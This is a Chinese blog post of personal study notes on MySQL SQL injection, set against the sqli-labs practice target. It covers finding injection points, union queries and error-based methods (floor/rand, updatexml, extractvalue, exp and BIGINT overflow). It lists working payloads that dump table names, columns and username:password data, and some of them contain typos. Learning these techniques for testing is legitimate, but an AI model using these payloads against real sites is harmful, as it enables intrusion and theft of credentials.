SQL注入心得

SQL 注入点判断
            
            ?id= 1'        +1/-1 页面是否有变化
                                            如果有变化 首先考虑 联合查询  
                                            
                                            
            
            :?id=1' 这是判断 字符型还是 数字型
            
            select * from tbName where id = $id
            
            near ''' at    line 1 数字型
            
            near ''1'' at line 1'    字符型
            
            
        数字型注入
            
                1.测试是否有布尔类型的状态
                    
                    ?id=1 and 1=1             恒真式
                    
                    ?id=1 and 1=2            恒假式
                    
                    select * from tbName where id = 35 and 1=1
                    
                    select * from tbName where id = 35 and 1=2
                    
                    在恒假式中  语句在数据库中执行后,没有返回结果,没有新闻内容
                    反过来看,页面没有新闻内容,也就是SQL语句查询条件为假,也就是说
                    写的语句[and 1=2 --+] 起到了将查询条件置为假的作用
                    那么 通过构建语句来控制SQL,语句的查询结果并且,SQL语句查询条件真假性,在页面
                    回显中有体现
        sleep(5),可以通过网络时间线看到延时
                                        说明语句起作用 综上此存在SQL漏洞
                                        
                                        


联合查询:
        union select   该语句会同时执行两条select语句,生成两张虚拟表,然后把擦汗寻到的结果
        进行拼接,由于两个表都是二维结构,联合查询会纵向拼接,两张虚拟表
        
        
            可以跨库跨表查询
                                union
        
                1.必要条件 
                            @     两张虚拟表具有相同的列数
                            @    两张虚拟表对应的列的数据类型相同
                
                2.判断个数
                            : [order by] 语句来判断当前select 语句所查询的虚拟表的列数
                            
                                [order by] 语句本意 排序
                            
                        select  *
                        
                        from   information_schema(tables,columns)
                        
                        where  table_schema = database()             // table_name = xxxx

    
报错注入:
        
        MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,
        如BigInt大数溢出等,
        由此可以将MySQL报错注入分为以下几类:
        
                                            BigInt等数据类型溢出
                                            函数参数格式错误
                                            主键/字段重复
            
            
            1.主键重复
                         (rand,floor,count)三函数
                         
                         group by要进行两次运算,
                         第一次是拿group by后面的字段值到虚拟表中去对比前,
                         首先获取group by后面的值;第二次是假设group by后面的字段的值在虚拟表中不存在,
                         那就需要把它插入到虚拟表中,这里在插入时会进行第二次运算,由于rand函数存在一定的随机性,
                         所以第二次运算的结果可能与第一次运算的结果不一致,但是这个运算的结果可能在虚拟表中已经存在了,
                         那么这时的插入必然导致主键的重复,进而引发错误

                        实例语句
                                select count(*),(concat(floor(rand(0)*2),'^',(select version()))) as x
                                
                                from information_schema.tables
                                
                                group by x
                                
                        如果表被禁用了则
                                select concat('^',version(),'^',floor(rand(0)*2)) as x,count(*)
                                
                                from (select 1 union select null union select !1)a
                                
                                group by x 
                                
                        如果rand()|count()被禁用了
                        
                                select min(@a:=1)
                                
                                from information_schema.tables
                                
                                group by concat('^',@@version,'^',@a:=(@a+1)%2) 
                                
                                
                        不依赖额外的函数和具体的表
                        
                                select min(@a:=1)
                                
                                from(select 1 union select null union select !1)a 
                                
                                group by concat('^',@@version,'^',@a:=(@a+1)%2)
                                
                
            2.xpath
                     1.uddatexml()
                                    语句用法:updatexml(XML_document,xpath-string,new_value)  // 引用https://www.cnblogs.com/wangtanzhi/p/12577891.html#autoid-1-2-0
                                    适用于版本 5.1.5+
                                    第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
                                    第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
                                    第三个参数:new_value,String格式,替换查找到的符合条件的数据
                                    作用:改变文档中符合条件的节点的值
                                
                                        我们通常在第二个xpath参数填写我们要查询的内容
                                            updatexml是由于参数格式不正确而产生的错误,同样也会返回参数的信息
                                        
                                        payload
                                                前后加~使其不符合xpath格式从而报错
                                                and 1= updatexml(1,concat(~,(select @@version),~),1)    //@ 是用户变量 @@是系统变量
                                        
                                        
                                        
                                            通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。
                                            错误大概会是:
                                            ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
                                            另外,updatexml最多只能显示32位,需要配合SUBSTR使用。
                            
                                    一下以 SQL——labs 为例
                                     报表名:
                                            or updatexml(1,concat(~,(select group_concat(table_name)from information_schema.tables where table_schema=database()),~),1)
                                            
                                     爆字段名
                                            
                                            or uddatexml(1,concat(~,(select group_concat(column_name)from information_schema.columns where table_name='xxxx'),~),1)
                                        
                                     爆数据
                                            
                                            or uddatexml(1,concat(~,(select concat_ws(':',username,password)from xxxx),~),1)
                    
                        2.extractvalue()
                        
                                        函数语法:EXTRACTVALUE (XML_document, XPath_string);

                                        适用版本:5.1.5+

                                        利用原理与updatexml函数相同

                                        payload: and (extractvalue(1,concat(0x7e,(select user()),0x7e)))    


                            
            3.溢出报错


                            
                        1.exp()
                                函数语法:exp(int)
                                
                                适应版本 :5.5.5~5.5.49
                                
                                作用:该函数回返回e的x次方结果
                    
                                为什么会报错呢?我们知道,次方到后边每增加1,其结果都将跨度极大,
                                而mysql能记录的double数值范围有限,一旦结果超过范围,则该函数报错
                                经过测试
                                当传递一个大于709的值时,函数exp()就会引起一个重叠错误。
                                
                                即为 DOUBLE value is out of range
                                
                                playload:
                                        exp(~(select * from(select user())a))    /~的意思是按位取反 将0按位取反就会返回
                                                                                    “ 18446744073709551615”,
                                                                                    再加上函数成功执行后返回0的缘故,
                                                                                    我们将成功执行的函数取反将会得到最大的无符号BIGINT值
                                                                
                    
                        2.BigInt等数据类型溢出
                                
                                        playload:(select (!x-~0) from(select(select version))x)a
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    
                    

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值